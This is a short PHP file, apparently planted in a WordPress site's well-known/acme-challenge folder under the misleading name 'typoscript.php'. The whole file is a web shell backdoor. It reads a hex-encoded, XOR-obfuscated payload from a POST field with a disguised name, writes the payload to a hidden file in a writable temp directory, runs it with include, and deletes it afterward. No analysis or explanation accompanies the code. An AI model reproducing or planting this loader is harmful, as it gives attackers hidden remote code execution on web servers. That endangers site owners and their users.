File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/d/e/f/a/typoscript.php
<?php
if(array_key_exists("\x6Drk", $_POST) && !is_null($_POST["\x6Drk"])){
$elem = hex2bin($_POST["\x6Drk"]);
$object= '';$l = 0; while($l < strlen($elem)){$object .= chr(ord($elem[$l]) ^ 61);$l++;}
$rec = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd()]);
for ($holder = 0, $tkn = count($rec); $holder < $tkn; $holder++) {
$dchunk = $rec[$holder];
if (is_writable($dchunk) && is_dir($dchunk)) {
$reference = vsprintf("%s/%s", [$dchunk, ".component"]);
$file = fopen($reference, 'w');
if ($file) {
fwrite($file, $object);
fclose($file);
include $reference;
@unlink($reference);
exit;
}
}
}
}